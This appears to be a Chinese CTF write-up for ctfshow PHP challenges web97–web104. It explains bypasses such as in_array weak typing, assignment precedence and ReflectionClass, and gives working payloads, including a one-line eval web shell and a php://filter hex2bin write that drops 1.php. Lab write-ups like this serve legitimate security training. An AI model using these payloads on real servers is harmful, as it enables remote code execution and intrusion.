web97
开启容器
代码审计
a[]=1&b[]=2
数组绕过即可
web98
考察php 三元表达式
1 | $_GET ? $_GET = &$_POST : 'flag'; |
- 这行代码的逻辑是:如果
$_GET
数组不为空,则将$_GET
引用绑定到$_POST
数组;否则,将$_GET
设置为字符串'flag'
。 - 这里的
&
符号表示引用绑定,意味着对$_GET
的修改会直接影响$_POST
。
1 | $_GET['flag'] == 'flag' ? $_GET = &$_COOKIE : 'flag'; |
- 这行代码检查
$_GET['flag']
是否等于'flag'
。如果是,则将$_GET
引用绑定到$_COOKIE
数组;否则,将$_GET
设置为字符串'flag'
。
1 | $_GET['flag'] == 'flag' ? $_GET = &$_SERVER : 'flag'; |
- 这行代码同样检查
$_GET['flag']
是否等于'flag'
。如果是,则将$_GET
引用绑定到$_SERVER
数组;否则,将$_GET
设置为字符串'flag'
。
1 | highlight_file($_GET['HTTP_FLAG'] == 'flag' ? $flag : __FILE__); |
- 这行代码使用
highlight_file
函数输出文件内容。 highlight_file
会将指定文件的内容以语法高亮的方式输出。- 条件判断
$_GET['HTTP_FLAG'] == 'flag'
:- 如果条件为真,则输出变量
$flag
的值(假设$flag
是一个文件路径或内容)。 - 如果条件为假,则输出当前脚本文件(
__FILE__
)的内容。
- 如果条件为真,则输出变量
由于get post绑定
所以直接在get?HTTP_FLAG=flag
post
HTTP_FLAG=flag
web99
开启容器
代码审计
这里in_array()
为重点
1 | in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1 |
传入一句话木马
content=<?php @eval($_POST['1']);?>
in_array是弱类型比较,所以可以用数字+”.php”的方式绕过判断,并写入一句话木马。
web100
开启容器
代码审计
这里有个小特性是,PHP里面 =
的优先级是比and
优先级高的
v0赋值,赋值=
的优先级高于逻辑运算。所以只要让is_numeric($v1)返回true即可满足if判断,and后面的无论结果如何都不影响。
可以构造 var_dump(get_class_vars(‘ctfshow’));
继续看判断,v2不能含有分号,v3可以含有。
/?v2=var_dump(get_class_vars&v1=1&v3=);
1 | ?v1=1&v2=echo new ReflectionClass&v3=; |
a2192a270x2db3da0x2d45b00x2db18c0x2d0c09d9f1aaa4
ctfshow{a2192a27-b3da-45b0-b18c-0c09d9f1aaa4}
web101
开启容器
代码审计
这次特殊符号基本都被禁了,利用ReflectionClass建立ctfshow类的反射类,new ReflectionClass($class)
获得class的反射对象(包含了元数据信息)。
v3还是可以用;
payload:?v1=1&v2=echo new Reflectionclass&v3=;
dfe086c70x2d9e000x2d4ab30x2da37b0x2de6d62b72da1
dfe086c7-9e00-4ab3-a37b-e6d62b72da1
Unlock Hint for 0 points
替换0x2d为-,最后一位需要爆破16次,题目给的flag少一位
web102
开启容器
代码审计
最终payload:v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin
之后访问1.php
得到flag
web103
最终payload:v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin
web104
开启容器
代码审计
简单的SHA1绕过
1 | #payload |